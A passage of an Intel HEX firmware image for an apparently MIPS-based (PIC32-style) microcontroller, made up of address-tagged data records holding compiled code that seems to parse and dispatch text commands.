:10aac00019bc400f000000003000c2a30e6b400b09
:10aad0000000000000a0023cdc56422487004290a7
:10aae0005800c2a300a0023cd85742240100429063
:10aaf000090040100000000000a0023cd85742248a
:10ab000001004290212040008fc0400f0000000053
:10ab1000cb6a400b0000000000a0023cd8574290d6
:10ab2000212040008fc0400f0000000000a0023c28
:10ab3000dc5642248700429000a0033cdc246424bd
:10ab400000a0033cda576524213040004c2d410f12
:10ab5000000000000800401400000000029d023cbc
:10ab600008f0442419bc400f000000003000c2a3cc
:10ab70000e6b400b0000000021200000e6bb400fe0
:10ab8000000000003000c2a38800c48f029d023c78
:10ab9000e0ef4524544e410f00000000090040142e
:10aba00000000000010002248c8082af00a0023c63
:10abb000dc2444240837410f000000000e6b400bda
:10abc00000000000006b400b000000000300023c8e
:10abd00090d04434240e410f0000000088bf023c96
:10abe0002061428c040042300100422cff004430be
:10abf00088bf033c206162948410827c206162a43f
:10ac00002b15410f00000000070040140000000059
:10ac100000a0023cdc2444240837410f000000005f
:10ac2000eaff4014000000005800c29321204000b9
:10ac30008fc0400f000000008800c48f029d023cbe
:10ac400018f0452407000624ae55410f000000000f
:10ac5000610040140000000000a0023cdc564224c9
:10ac600087004290570040100000000000a0023c06
:10ac70007c6c40a000a0023c7c6d40a08800c28f8c
:10ac80000700422421204000029d023cb4ee4524ee
:10ac900000a0023c7c6c462400a0023c7c6d472452
:10aca0000357410f00000000030042284a004010f3
:10acb0000000000000a0023c7c6c422400004280a6
:10acc000450040100000000000a0023c7c6d4224c2
:10acd00000004280220040140000000000a0023c5e
:10ace000dc5642248700429000a0033c5c4564246b
:10acf00000a0033c7c6c6524213040004dc5400f12
:10ad0000000000000f0040100000000001000424bb
:10ad1000e6bb400f000000003000c2a3029d023cd1
:10ad200064ed442400a0023c5c4545240413410f1b
:10ad3000000000004015410f00000000766b400b42
:10ad400000000000029d023c20f0442419bc400f8a
:10ad5000000000003000c2a3766b400b0000000032
:10ad600000a0023cdc5642248700429000a0033c35
:10ad70007c6d64242128400000a0023c7c6c4624a9
:10ad800042e8400f000000000700401000000000f3
:10ad900021200000e6bb400f000000003000c2a3ed
:10ada000766b400b00000000029d023c30f0442412
:10adb00019bc400f000000003000c2a3766b400bae
:10adc00000000000029d023cc0ef442419bc400f6b
:10add000000000003000c2a38800c48f029d023c26
:10ade00044f04524544e410f00000000af004014d1
:10adf0000000000001000424e6bb400f000000003a
:10ae00003000c2a3029d023c3cec4424029d023c63
:10ae100050f045240413410f00000000029d023c45
:10ae20003cec4424029d023c6cf045240413410f89
:10ae300000000000029d023c3cec4424029d023cc8
:10ae40008cf045240413410f00000000029d023cd9
:10ae50003cec4424029d023ca0f045240413410f25
:10ae600000000000029d023c3cec4424029d023c98
:10ae7000c8f045240413410f00000000029d023c6d
:10ae80003cec4424029d023c8cf045240413410f09
:10ae900000000000029d023c3cec4424029d023c68
:10aea000e8f045240413410f00000000029d023c1d
:10aeb0003cec4424029d023c10f145240413410f54
:10aec00000000000029d023c3cec4424029d023c38
:10aed0003cf145240413410f00000000029d023c98
:10aee0003cec4424029d023c50f145240413410fe4
:10aef00000000000029d023c3cec4424029d023c08
:10af000084f145240413410f00000000029d023c1f
:10af10003cec4424029d023c3cf145240413410fc7
:10af200000000000029d023c3cec4424029d023cd7
:10af3000a0f145240413410f00000000029d023cd3
:10af40003cec4424029d023cf0f145240413410fe3
:10af500000000000029d023c3cec4424029d023ca7
:10af600010f245240413410f00000000029d023c32
:10af70003cec4424029d023c30f245240413410f72
:10af800000000000029d023c3cec4424029d023c77
:10af900048f245240413410f00000000029d023cca
:10afa0003cec4424029d023c60f245240413410f12
:10afb00000000000029d023c3cec4424029d023c47
:10afc00080f245240413410f00000000029d023c62
:10afd0003cec4424029d023c98f245240413410faa
:10afe00000000000029d023c3cec4424029d023c17
:10aff000b0f245240413410f00000000029d023c02
:10b000003cec4424029d023cdcf245240413410f35
:10b0100000000000029d023c3cec4424029d023ce6
:10b02000f0f245240413410f00000000029d023c91
:10b030003cec4424029d023c04f345240413410fdc
:10b0400000000000029d023c3cec4424029d023cb6
:10b0500020f345240413410f00000000029d023c30
:10b060003cec4424029d023c38f345240413410f78
:10b0700000000000029d023c3cec4424029d023c86
:10b0800054f345240413410f00000000029d023ccc
:10b090003cec4424029d023c74f345240413410f0c
:10b0a000000000004015410f000000008800c48f20
:10b0b000029d023c84f3452404000624ae55410f52
:10b0c000000000003e004014000000008800c28f15
:10b0d000040042246000c3271000a3af6400c3270c
:10b0e0001400a3af6800c3271800a3af6c00c327e8
:10b0f0001c00a3af21204000029d023c8cf345249c
:10b1000000a0023c7c6c4624e48087270357410f53
:10b1100000000000211840000600022423006214f1
:10b1200000000000029d023ca0f3442400a0023c69
:10b130007c6c45240413410f00000000e480858fdf
:10b140006000c38f6400c28f6800c68f6c00c48f1c
:10b150001000a6af1400a4af00a0043c7c6c8424b3
:10b160002130600021384000b2f8400f000000009c
:10b17000070040100000000021200000e6bb400f47
:10b18000000000003000c2a3706c400b0000000003
:10b19000029d023c20ed442419bc400f0000000039
:10b1a0003000c2a3706c400b00000000029d023c06
:10b1b00030ed442419bc400f000000003000c2a351
:10b1c0008800c48f029d023cacf34524544e410fcd
:10b1d000000000000e0040140000000001000424e4
:10b1e000e6bb400f000000003000c2a3380b410f47
:10b1f00000000000029d033cb8f3642421284000b5
:10b200006913410f000000004015410f00000000cd
:10b210008800c48f029d023cc0f345240900062427
:10b22000ae55410f000000000c004014000000006b
:10b2300001000424e6bb400f000000003000c2a360
:10b240008800c28f0900422421204000f2ba400f3a
:10b25000000000004015410f000000008800c48f6e
:10b26000029d023cccf345240d000624ae55410f4f
:10b27000000000002a0040140000000000a0023c72
:10b28000dc56422487004390080002240800621024
:10b2900000000000029d023cdcf3442419bc400f76
:10b2a000000000003000c2a3c86c400b000000008a
:10b2b0008800c28f0d00422400a0033cdc246424db
:10b2c000212840009b8d400f000000000f0040101f
:10b2d0000000000001000424e6bb400f0000000055
:10b2e0003000c2a3029d023c64ed442400a0023c55
:10b2f000dc2445240413410f000000004015410fd9
:10b3000000000000c86c400b00000000029d023ce1
:10b31000f8f3442419bc400f000000003000c2a321
:10b320008800c48f029d023c04f4452411000624c9
:10b33000ae55410f000000002a004014000000003c
:10b3400000a0023cdc5642248700439008000224ff
:10b350000800621000000000029d023cdcf344245f
:10b3600019bc400f000000003000c2a3f96c400b74
:10b37000000000008800c28f1100422400a0033c9e
:10b38000dc24642421284000279b400f000000009b
:10b390000f0040100000000001000424e6bb400f35
:10b3a000000000003000c2a3029d023c64ed442472
:10b3b00000a0023cdc2445240413410f00000000df
:10b3c0004015410f00000000f96c400b0000000028
:10b3d000029d023cf8f3442419bc400f0000000019
:10b3e0003000c2a38800c48f029d023c18f445249b
:10b3f0000d000624ae55410f00000000630040140c
:10b400000000000000a0023cdc564224870043906c
:10b41000080002240800621000000000029d023ca7
:10b42000dcf3442419bc400f000000003000c2a32c
:10b43000636d400b0000000000a0023c7c6c40a04b
:10b4400000a0023c7c6d40a0010002246000c2af5d
:10b450008800c28f0e00422421204000029d023c41
:10b46000b4ee452400a0023c7c6c462400a0023cc3
:10b470007c6d47240357410f000000000200422862
:10b480001a00401000000000029d023c28f44424f1
:10b4900000a0023c7c6c4524544e410f000000008b
:10b4a000120040140000000000a0023c029d033c7a
:10b4b0002cf4648c2cf465240400a68c2cf46524f4
:10b4c0000800a58c7c6c44ac7c6c4424040086ace5
:10b4d0007c6c4424080085ac2cf463247c6c4224ee
:10b4e0000c0063900c0043a06000c0af029d023cc2
:10b4f00028f4442400a0023c7c6d4524544e410fa6
:10b500000000000002004014000000006000c0af16
:10b5100001000424e6bb400f000000003000c2a37d
:10b520005b6d400b000000006000c28f00a0033c78
:10b53000dc24642400a0033c7c6c652421304000a2
:10b540004c9d400f0000000088bf023c2061428cef
:10b55000040042300100422cff00443088bf033c0d
:10b56000206162948410827c206162a42b15410fbb
:10b5700000000000ecff4010000000004015410feb
:10b5800000000000c40c410f000000008800c48fc0
:10b59000029d023c3cf4452416000624ae55410fa2
:10b5a00000000000070040140000000021200000ff
:10b5b000e6bb400f000000003000c2a3be9d400f5c
:10b5c000000000008800c48f029d023c54f4452412
:10b5d00016000624ae55410f00000000090040147b
:10b5e0000000000001000424e6bb400f0000000042
:10b5f0003000c2a34a9e400f000000004015410fda
:10b60000000000008800c48f029d023c6cf44524b9
:10b6100015000624ae55410f000000002f00401415
:10b620000000000001000424e6bb400f0000000001
:10b630003000c2a38800c48f7b4b410f0000000084
:10b640001600422c1b004014000000008800c28f2e
:10b65000150044246000c3276400c227029d053cf6
:10b6600050eea52421306000213840000357410fdf
:10b67000000000006800c2af6800c28f05004014df
:10b68000000000006000c0af6400c0afaf6d400bb1
:10b69000000000006800c38f01000224070062144c
:10b6a000000000006000c28f6400c2afaf6d400bad
:10b6b000000000006000c0af6400c0af6000c38f36
:10b6c0006400c28f2120600021284000719e400f3d
:10b6d000000000004015410f000000008800c48fea
:10b6e000029d023c84f445240f000624ae55410f10
:10b6f000000000001d004014000000008800c28f00
:10b700000f00422400a0033cdc24642421284000d4
:10b710003991400f000000000f00401000000000b1
:10b7200001000424e6bb400f000000003000c2a36b
:10b73000029d023c64ed442400a0023cdc2445242c
:10b740000413410f000000004015410f00000000ed
:10b75000db6d400b00000000029d023cf8f3442426
:10b7600019bc400f000000003000c2a38800c48f45
:10b77000029d023c94f4452412000624ae55410f6c
:10b78000000000001d004014000000008800c28f6f
:10b790001200422400a0033cdc2464242128400041
:10b7a000899a400f000000000f00401000000000c8
:10b7b00001000424e6bb400f000000003000c2a3db
:10b7c000029d023c64ed442400a0023cdc2445249c
:10b7d0000413410f000000004015410f000000005d
:10b7e000ff6d400b00000000029d023cf8f3442472
:10b7f00019bc400f000000003000c2a38800c48fb5
:10b80000029d023ca8f4452412000624ae55410fc7
:10b81000000000001d004014000000008800c28fde
:10b820001200422400a0033cdc24642421284000b0
:10b83000c59a400f000000000f00401000000000fb
:10b8400001000424e6bb400f000000003000c2a34a
:10b85000029d023c64ed442400a0023cdc2445240b
:10b860000413410f000000004015410f00000000cc
:10b87000236e400b00000000029d023cf8f34424bc
:10b8800019bc400f000000003000c2a38800c48f24
:10b89000029d023cbcf4452404000624ae55410f31
:10b8a0000000000027004014000000008800c28f44
:10b8b000040043246000c22721206000029d033c55
:10b8c000ccee6524213040000357410f00000000fa
:10b8d000211840000100022415006214000000003d
:10b8e0006000c28fff004230212040003430410f01
:10b8f00000000000070040100000000021200000b0
:10b90000e6bb400f000000003000c2a3516e400ba8
:10b9100000000000029d023cc4f4442419bc400f06
:10b92000000000003000c2a3516e400b0000000078
:10b93000029d023c30ed442419bc400f0000000081
:10b940003000c2a38800c48f029d023cd4f4452479
:10b9500006000624ae55410f0000000027004014e9
:10b96000000000008800c28f060043246000c22748
:10b9700021206000029d033cccee65242130400074
:10b980000357410f0000000021184000010002246d
:10b9900015006214000000006000c28fff004230fa
:10b9a000212040004d30410f0000000007004010f2
:10b9b0000000000021200000e6bb400f0000000056
:10b9c0003000c2a37f6e400b00000000029d023ccd
:10b9d000c4f4442419bc400f000000003000c2a38e
:10b9e0007f6e400b00000000029d023c30ed4424bd
:10b9f00019bc400f000000003000c2a38800c48fb3
:10ba0000029d023cdcf4452407000624ae55410f9c
:10ba10000000000027004014000000008800c28fd2
:10ba2000070043246000c22721206000029d033ce0
:10ba3000ccee6524213040000357410f0000000088
:10ba400021184000010002241500621400000000cb
:10ba50006000c28fff004230212040005e30410f65
:10ba6000000000000700401000000000212000003e
:10ba7000e6bb400f000000003000c2a3ad6e400bdb
:10ba800000000000029d023cfcee442419bc400f63
:10ba9000000000003000c2a3ad6e400b00000000ab
:10baa000029d023c30ed442419bc400f0000000010
:10bab0003000c2a38800c48f029d023ce4f44524f8
:10bac000544e410f00000000070040140000000029
:10bad00021200000e6bb400f000000003000c2a3a0
:10bae000bc23410f000000008800c48f029d023c6f
:10baf000ecf4452405000624ae55410f000000007b
:10bb0000360040140000000000a0023c7c6c40a005
:10bb10006000c0af8800c28f050043246000c227c8
:10bb200021206000029d033c5ced652400a0033ce5
:10bb30007c6c6624213840000357410f0000000050
:10bb4000030042280800401400000000029d023c4f
:10bb500030ed442419bc400f000000003000c2a3a7
:10bb6000f76e400b000000006000c28f21204000f3
:10bb700000a0023cdc24452400a0023c7c6c46244e
:10bb8000be51410f000000000f00401000000000f7
:10bb900001000424e6bb400f000000003000c2a3f7
:10bba000029d023c64ed442400a0023cdc244524b8
:10bbb0000413410f000000004015410f0000000079
:10bbc000f76e400b00000000029d023cf4f4442498
:10bbd00019bc400f000000003000c2a38800c48fd1
:10bbe000029d023c04f54524544e410f0000000024
:10bbf0000d0040140000000001000424e6bb400fcb
:10bc0000000000003000c2a3029d023c64ed442409
:10bc1000029d023c0cf545240413410f0000000076
:10bc20004015410f000000008800c48f029d023cb7
:10bc300014f54524544e410f000000000900401443
:10bc40000000000001000424e6bb400f00000000db
:10bc50003000c2a30c2b410f000000004015410f23
:10bc6000000000008800c48f029d023c1cf54524a2
:10bc700007000624ae55410f0000000043004014a9
:10bc8000000000008800c28f070044245800c3272a
:10bc90006400c227029d053c24f5a52421306000e4
:10bca000213840000357410f0000000021184000d8
:10bcb0000200022405006214000000005800c39333
:10bcc0004800022405006210000000005800c393e1
:10bcd0004c0002242800621400000000496f400b51
:10bce000000000005800c293480042382b100200a8
:10bcf000ff0042302120400000a0023c7c6c452423
:10bd00008c2a410f00000000ff0042305800c2a3ff
:10bd10005800c29303004010000000004e6f400b1b
:10bd2000000000006400c28fffff43246400c3af23
:10bd3000ecff4014000000005800c29308004010bf
:10bd400000000000029d023c2cf5442419bc400f69
:10bd5000000000003000c2a3636f400b0000000031
:10bd600021200000e6bb400f000000003000c2a30d
:10bd7000636f400b00000000029d023c44f5442428
:10bd800019bc400f000000003000c2a38800c48f1f
:10bd9000029d023c58f5452407000624ae55410f8c
:10bda0000000000044004014000000008800c28f22
:10bdb000070044245800c3276400c227029d053ca5
:10bdc00024f5a52421306000213840000357410f9d
:10bdd0000000000021184000020002240500621447
:10bde000000000005800c3934800022405006210c0
:10bdf000000000005800c3934c0002242900621484
:10be000000000000946f400b000000005800c29337
:10be1000480042382b100200ff0042302120400031
:10be20002128000000a0023c7c6c46246c2a410fb3
:10be300000000000ff0042305800c2a35800c29327
:10be40000300401000000000996f400b000000004c
:10be50006400c28fffff43246400c3afebff4014b4
:10be6000000000005800c2930800401000000000cd
:10be7000029d023c60f5442419bc400f0000000004
:10be80003000c2a3ae6f400b000000002120000074
:10be9000e6bb400f000000003000c2a3ae6f400bb5
:10bea00000000000029d023c78f5442419bc400fbc
:10beb000000000003000c2a38800c48f029d023c35
:10bec0008cf5452407000624ae55410f0000000004
:10bed00038004014000000008800c28f070044248e
:10bee0005800c3276400c227029d053c24f5a52401
:10bef00021306000213840000357410f000000004e
:10bf00002118400002000224050062140000000015
:10bf10005800c3934800022405006210000000008e
:10bf20005800c3934c0002241d006214000000005e
:10bf30005800c293480042382b100200ff004230e4
:10bf4000211840006400c28f2120600021280000d9
:10bf50002130400000a0023c7c6c4724dc2a410fc9
:10bf60000000000007004014000000002120000035
:10bf7000e6bb400f000000003000c2a3ed6f400b95
:10bf800000000000029d023c94f5442419bc400fbf
:10bf9000000000003000c2a3ed6f400b0000000065
:10bfa000029d023ca4f5442419bc400f000000008f
:10bfb0003000c2a38800c48f029d023cb8f545241e
:10bfc00009000624ae55410f00000000380040145f
:10bfd000000000008800c28f090044245800c327d5
:10bfe0006400c227029d053c24f5a5242130600091
:10bff000213840000357410f000000002118400085
:10c000000200022405006214000000005800c393df
:10c010004800022405006210000000005800c3938d
:10c020004c0002241d006214000000005800c2935e
:10c03000480042382b100200ff0042302118400017
:10c040006400c28f212060000100052421304000df
:10c0500000a0023c7c6c4724dc2a410f0000000059
:10c06000070040140000000021200000e6bb400f44
:10c07000000000003000c2a32c70400b0000000044
:10c08000029d023c94f5442419bc400f00000000be
:10c090003000c2a32c70400b00000000029d023c47
:10c0a000a4f5442419bc400f000000003000c2a3d6
:10c0b0008800c48f029d023cc4f545240800062474
:10c0c000ae55410f00000000420040140000000087
:10c0d0008800c28f080044245800c3275c00c22790
:10c0e000029d053cd0f5a524213060002138400098
:10c0f0000357410f000000002118400002000224f5
:10c1000005006214000000005800c3934800022498
:10c1100005006210000000005800c3934c00022488
:10c1200027006214000000005c00c38f029d023ce7
:10c13000212060006836458c8746410f00000000d2
:10c1400021204000dc54410f000000006400c2af19
:10c150005800c293480042382b100200ff004230c2
:10c16000211840006400c28f2120600021280000b7
:10c170002130400000a0023c7c6c4724dc2a410fa7
:10c180000000000007004014000000002120000013
:10c19000e6bb400f000000003000c2a37570400bea
:10c1a00000000000029d023c94f5442419bc400f9d
:10c1b000000000003000c2a37570400b00000000ba
:10c1c000029d023ca4f5442419bc400f000000006d
:10c1d0003000c2a38800c48f029d023cd8f54524dc
:10c1e00005000624ae55410f000000003400401445
:10c1f000000000008800c28f050042246000c327b1
:10c200001000a3af6400c3271400a3af6800c327c6
:10c210001800a3af21204000029d023ce0f5452418
:10c2200000a0023c7c6c4624e48087270357410f22
:10c230000000000021184000050002241b006214c9
:10c2400000000000e480858f6000c38f6400c28f0f
:10c250006800c48f1000a4af00a0043c7c6c842450
:10c2600021306000213840008107410f00000000ac
:10c27000070040100000000021200000e6bb400f36
:10c28000000000003000c2a3b070400b00000000ae
:10c29000029d023c20ed442419bc400f0000000028
:10c2a0003000c2a3b070400b00000000029d023cb1
:10c2b00030ed442419bc400f000000003000c2a340
:10c2c0008800c48f029d023cf0f54524040006243a
:10c2d000ae55410f00000000360040140000000081
:10c2e0008800c28f040044246000c3276400c22772
:10c2f0006800c5271000a5af6c00c5271400a5afc6
:10c300007000c5271800a5af7400c5271c00a5af95
:10c310007800c5272000a5af7c00c5272400a5af65
:10c32000029d053cf8f5a52421306000213840002d
:10c330000357410f000000002118400008000224ac
:10c3400017006214000000006000c48f6400c58ff5
:10c350006800c38f6c00c28f7000c98f7400c88fd3
:10c360007800c78f7c00c68f1000a9af1400a8af5b
:10c370001800a7af1c00a6af213060002138400094
:10c38000d63b410f0000000021200000e6bb400f1b
:10c39000000000003000c2a3ed70400b0000000060
:10c3a000029d023c30ed442419bc400f0000000007
:10c3b0003000c2a38800c48f029d023c10f64524c1
:10c3c00005000624ae55410f00000000a5004014f2
:10c3d000000000008800c28f050044246000c327cd
:10c3e0006400c227029d053c50eea5242130600068
:10c3f000213840000357410f000000006800c2af21
:10c400006800c28f05004010000000006800c38f64
:10c410000100022405006210000000006800c38fc4
:10c42000020002248a006214000000006800c38f2a
:10c430000100022403006214000000006000c28fab
:10c440006400c2af00a0023cdc5642248700439047
:10c4500000a0023cd8574290080062100000000083
:10c46000029d023c18f6442419bc400f0000000055
:10c470003000c2a39271400b0000000000a0023cfb
:10c48000dc564224b400428cffff43246000c28f7c
:10c490002b106200090040140000000000a0023cc4
:10c4a000dc564224b400428cffff43246400c28f58
:10c4b0002b1062000800401000000000029d023caa
:10c4c00068ef442419bc400f000000003000c2a3f4
:10c4d0009271400b0000000000a0023cd85742249b
:10c4e0000412428c821802006000c28f18006200a1
:10c4f000121000000002432400a0023cd85742243e
:10c5000021106200030044246000c38f6400c28fc6
:10c510002128600021304000a444410f00000000a9
:10c520000800401400000000029d023c84ef4424f7
:10c5300019bc400f000000003000c2a39271400bf4
:10c540000000000001000424e6bb400f00000000d2
:10c550003000c2a300a0023cdc564224b800428c4a
:10c560008218020000a0023c7c6c42242110620070
:10c57000000040a06000c28f3400c2af8571400b44
:10c5800000000000029d023c94ef44243400c58f5b
:10c590006913410f0000000000a0023cdc56422459
:10c5a000b800428c821802003400c28f180062006a
:10c5b000122000000002832400a0023cd85742242d
:10c5c000211062000300432400a0023cdc564224f8
:10c5d000b800428c8210020000a0043c7c6c8424d1
:10c5e0002128600021304000214b410f0000000055
:10c5f000029d023c64ed442400a0023c7c6c452476
:10c600000413410f000000003400c28f01004224d7
:10c610003400c2af6400c28f3400c38f2b104300bc
:10c62000d8ff401000000000029d023c3cec442476
:10c63000029d023c48ed45240413410f0000000018
:10c640009971400b000000009971400b0000000040
:10c65000029d023c9cef442419bc400f00000000e6
:10c660003000c2a38800c48f029d023c30f64524ee
:10c67000544e410f00000000340040140000000040
:10c6800000a0023cdc56422487004290080040147f
:10c6900000000000029d023c38f6442419bc400f03
:10c6a000000000003000c2a3d371400b0000000066
:10c6b00001000424e6bb400f000000003000c2a3cc
:10c6c000cb71400b0000000000a0023cdc5642246d
:10c6d0008700429000a0033cdc2464242128400011
:10c6e000ec2d410f0000000007004010000000008a
:10c6f000029d023c64ed442400a0023cdc2445245d
:10c700000413410f0000000088bf023c2061428cee
:10c71000040042300100422cff00443088bf033c3b
:10c72000206162948410827c206162a42b15410fe9
:10c7300000000000e4ff4010000000004015410f21
:10c7400000000000c40c410f000000008800c48fee
:10c75000029d023c4cf64524544e410f000000005f
:10c760000b0040140000000021200000e6bb400f39
:10c77000000000003000c2a30f00023c40424434dd
:10c78000240e410f00000000fc54410f0000000087
:10c790008800c48f029d023c54f64524544e410f3c
:10c7a00000000000390040140000000001000424d3
:10c7b000e6bb400f000000003000c2a380bf023c77
:10c7c0002002428c4800c2af80bf023c2002428c53
:10c7d0004c00c2af4800c38f4c00c28ff7ff6214f9
:10c7e000000000004800c28f308282af80bf023c50
:10c7f0003002428c5000c2af80bf023c3002428cfb
:10c800005400c2af5000c38f5400c28ff7ff6214b0
:10c81000000000005000c28f2c8282af2f828293d2
:10c82000211840002e8282932d828493213880002b
:10c8300033828493213080003282849321288000c7
:10c84000318284931000a7af1400a6af1800a5afe3
:10c850001c00a4af00a0043c5c458424029d053c60
:10c8600058f6a5242130600021384000e455410fde
:10c8700000000000029d023c64ed442400a0023c44
:10c880005c4545240413410f000000008800c48f5c
:10c89000029d023c78f6452404000624ae55410f63
:10c8a0000000000048004014000000008800c28f13
:10c8b0000400422421204000029d023c3cec45241f
:10c8c00000a0023c7c6c46240357410f000000008e
:10c8d000211840000100022436006214000000000c
:10c8e00000a0023c7c6c44247b4b410f0000000004
:10c8f00000a0033cdc5663249c00688c00a0033c31
:10c90000dc566324ec00678c00a0033cdc566324f7
:10c91000f000668c00a0033cdc566324e400658cc8
:10c9200000a0033cdc566324e800648c00a0033cb8
:10c93000dc566324e000638c040009241000a9afd6
:10c940001400a8af1800a7af1c00a6af2000a5af29
:10c950002400a4af2800a3af2c00a0af00a0033c8c
:10c960007c6c642421284000010006240100072477
:10c97000023c410f000000000700401000000000d2
:10c9800021200000e6bb400f000000003000c2a3e1
:10c990007272400b00000000029d023c80f64424ad
:10c9a00019bc400f000000003000c2a37272400b9f
:10c9b00000000000029d023c30ed442419bc400ff1
:10c9c000000000003000c2a38800c48f029d023c1a
:10c9d000b0f64524544e410f0000000010004014f2
:10c9e000000000007923410f000000000700401004
:10c9f0000000000021200000e6bb400f0000000006
:10ca00003000c2a38872400b00000000029d023c6f
:10ca1000b8f6442419bc400f000000003000c2a347
:10ca20008800c48f029d023cc8f6452406000624f7
:10ca3000ae55410f0000000033004014000000001c
:10ca400000a0023c7c6c40a08800c28f06004324fa
:10ca50006000c22721206000029d033c3cec65245d
:10ca600000a0033c7c6c6624213840000357410f32
:10ca700000000000020042281e00401000000000dc
:10ca800000a0023cdc24442400a0023c7c6c452431
:10ca90004253410f000000000f0040100000000052
:10caa00001000424e6bb400f000000003000c2a3d8
:10cab000029d023c64ed442400a0023cdc24452499
:10cac0000413410f000000004015410f000000005a
:10cad000c272400b00000000029d023cd0f64424cc
:10cae00019bc400f000000003000c2a3c272400b0e
:10caf00000000000029d023c30ed442419bc400fb0
:10cb0000000000003000c2a38800c48f029d023cd8
:10cb1000e0f64524544e410f000000000800401488
:10cb20000000000000a0023cdc564224c40040acdf
:10cb300021200000e6bb400f000000003000c2a32f
:10cb40008800c48f029d023cf0f64524544e410fec
:10cb5000000000000c0040140000000000a0023c97
:10cb6000dc56422401000324c40043ac00a0023c74
:10cb7000dc564224cc0040ac21200000e6bb400f34
:10cb8000000000003000c2a38800c48f029d023c58
:10cb900000f7452409000624ae55410f00000000af
:10cba0001d004014000000008800c28f09004324cb
:10cbb0006000c22721206000029d033c0cf7652421
:10cbc000213040000357410f0000000021184000b1
:10cbd000010002240b006214000000006000c38ffb
:10cbe00000a0023cdc564224b00043ac21200000ef
:10cbf000e6bb400f000000003000c2a30673400bec
:10cc000000000000029d023c10f7442419bc400fb4
:10cc1000000000003000c2a38800c48f029d023cc7
:10cc200024f7452407000624ae55410f00000000fc
:10cc30001c004014000000008800c28f070042243e
:10cc400021204000029d023c60ee4524e4808627be
:10cc50000357410f0000000021184000010002248a
:10cc60000b00621400000000e480838f00a0023cef
:10cc7000dc5642249c0043ac21200000e6bb400f60
:10cc8000000000003000c2a32973400b0000000028
:10cc9000029d023c2cf7442419bc400f0000000008
:10cca0003000c2a38800c48f029d023c40f7452497
:10ccb000544e410f00000000080040140000000026
:10ccc00000a0023cdc564224c80040ac21200000f9
:10ccd000e6bb400f000000003000c2a38800c48ff4
:10cce000029d023c50f74524544e410f00000000c5
:10ccf000090040140000000000a0023cdc56422461
:10cd000001000324c80043ac21200000e6bb400f13
:10cd1000000000003000c2a38800c48f029d023cc6
:10cd200060f74524544e410f0000000008004014f5
:10cd30000000000000a0023cdc564224cc0040acc5
:10cd400021200000e6bb400f000000003000c2a31d
:10cd50008800c48f029d023c74f74524544e410f55
:10cd6000000000000c0040140000000000a0023c85
:10cd7000dc56422401000324cc0043ac00a0023c5a
:10cd8000dc564224c40040ac21200000e6bb400f2a
:10cd9000000000003000c2a38800c48f029d023c46
:10cda00088f7452408000624ae55410f0000000016
:10cdb0003f004014000000008800c28f0800422499
:10cdc00021204000029d023c94f74524544e410f1f
:10cdd000000000000b0040140000000000a0023c16
:10cde000dc56422401000324a00043a021200000bf
:10cdf000e6bb400f000000003000c2a3ac73400b44
:10ce0000000000008800c28f08004224212040005a
:10ce1000029d023c98f74524544e410f000000004b
:10ce20000b0040140000000000a0023cdc5642242d
:10ce300002000324a00043a021200000e6bb400f15
:10ce4000000000003000c2a3ac73400b00000000e3
:10ce50008800c28f0800422421204000029d023c2d
:10ce60009cf74524544e410f000000000b00401475
:10ce70000000000000a0023cdc5642240400032411
:10ce8000a00043a021200000e6bb400f00000000ee
:10ce90003000c2a3ac73400b00000000029d023cb6
:10cea000a4f7442419bc400f000000003000c2a3c6
:10ceb0008800c48f029d023cc0f745240800062468
:10cec000ae55410f000000001c004014000000009f
:10ced0008800c28f0800422421204000029d023cad
:10cee00060ee4524e48086270357410f00000000d0
:10cef00021184000010002240b0062140000000011
:10cf0000e480838f00a0023cdc564224880043acbe
:10cf100021200000e6bb400f000000003000c2a34b
:10cf2000cf73400b00000000029d023c10f7442428
:10cf300019bc400f000000003000c2a38800c48f5d
:10cf4000029d023cccf7452409000624ae55410f52
:10cf5000000000001d004014000000008800c28f87
:10cf6000090043246000c22721206000029d033c89
:10cf70000cf76524213040000357410f00000000ea
:10cf800021184000010002240b0062140000000080
:10cf90006000c38f00a0023cdc564224a40043acd6
:10cfa00021200000e6bb400f000000003000c2a3bb
:10cfb000f373400b00000000029d023cd8f74424ac
:10cfc00019bc400f000000003000c2a38800c48fcd
:10cfd000029d023cecf745240b000624ae55410fa0
:10cfe000000000001d004014000000008800c28ff7
:10cff0000b0043246000c22721206000029d033cf7
:10d000000cf76524213040000357410f0000000059
:10d0100021184000010002240b00621400000000ef
:10d020006000c38f00a0023cdc564224d40043ac15
:10d0300021200000e6bb400f000000003000c2a32a
:10d040001774400b00000000029d023cf8f74424d6
:10d0500019bc400f000000003000c2a38800c48f3c
:10d06000029d023c10f8452409000624ae55410fec
:10d07000000000001d004014000000008800c28f66
:10d08000090043246000c22721206000029d033c68
:10d090000cf76524213040000357410f00000000c9
:10d0a00021184000010002240b006214000000005f
:10d0b0006000c38f00a0023cdc564224a80043acb1
:10d0c00021200000e6bb400f000000003000c2a39a
:10d0d0003b74400b00000000029d023cd8f7442442
:10d0e00019bc400f000000003000c2a38800c48fac
:10d0f000029d023c1cf8452409000624ae55410f50
:10d10000000000001d004014000000008800c28fd5
:10d11000090043246000c22721206000029d033cd7
:10d120000cf76524213040000357410f0000000038
:10d1300021184000010002240b00621400000000ce
:10d140006000c38f00a0023cdc564224ac0043ac1c
:10d1500021200000e6bb400f000000003000c2a309
:10d160005f74400b00000000029d023cd8f744248d
:10d1700019bc400f000000003000c2a38800c48f1b
:10d18000029d023c28f845240d000624ae55410faf
:10d190000000000020004014000000008800c28f42
:10d1a0000d0043246000c22721206000029d033c43
:10d1b0000cf76524213040000357410f00000000a8
:10d1c00021184000010002240c006214000000003d
:10d1d0006000c28fff00433000a0023cdc564224b6
:10d1e000bc0043a021200000e6bb400f000000006f
:10d1f0003000c2a3b274400b00000000029d023c4c
:10d2000038f8442419bc400f000000003000c2a3cd
:10d21000b274400b000000008800c48f029d023ce5
:10d2200050f8452408000624ae55410f00000000c8
:10d2300025004014000000008800c28f080044242c
:10d240006000c3276400c227029d053c5cf8a5244a
:10d2500021306000213840000357410f00000000da
:10d260002118400002000224120062140000000095
:10d270006000c28f0400422c0e004010000000002d
:10d280006000c48f6400c28fff00433000a0023ce6
:10d29000dc56422421108200bd0043a02120000062
:10d2a000e6bb400f000000003000c2a3b274400b88
:10d2b00000000000029d023c64f8442419bc400fa9
:10d2c000000000003000c2a38800c48f029d023c11
:10d2d00078f8452408000624ae55410f00000000f0
:10d2e00019004014000000008800c28f080042248a
:10d2f0002120400036bf400f000000005800c2a3ac
:10d300005800c2930b004010000000005800c29368
:10d31000212040008fc0400f0000000021200000ad
